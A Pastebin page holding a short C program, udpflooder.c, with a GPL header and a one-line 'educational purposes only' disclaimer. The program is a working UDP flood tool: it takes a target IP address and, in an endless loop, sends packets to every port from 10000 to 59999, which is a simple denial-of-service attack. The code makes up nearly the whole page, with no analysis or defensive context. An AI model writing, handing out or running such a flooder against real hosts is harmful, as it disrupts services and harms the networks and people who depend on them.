Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Author : unh0lys0da
- * Title : udpflooder.c
- * Description : A simple udpflooder.c
- * Please don't use in practice
- *
- * Copyright (C) 2016 unh0lys0da
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
- *
- */
- /* This program is written for educational purposes only */
- #include <stdio.h>
- #include <arpa/inet.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <unistd.h>
- #include <stdlib.h>
- int main(int argc, char *argv[])
- {
- int sck;
- sck = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
- struct sockaddr_in serv;
- size_t slen = sizeof(serv);
- serv.sin_family = AF_INET;
- if(inet_aton(argv[1], &serv.sin_addr)==0) {
- printf("fail");
- exit(-1);
- }
- int i;
- char l[2] = {'A','\0'};
- while(1) {
- for(i=10000;i<60000;i++) {
- serv.sin_port = htons(i);
- sendto(sck, &l, 2, 0, (struct sockaddr *) &serv, slen);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement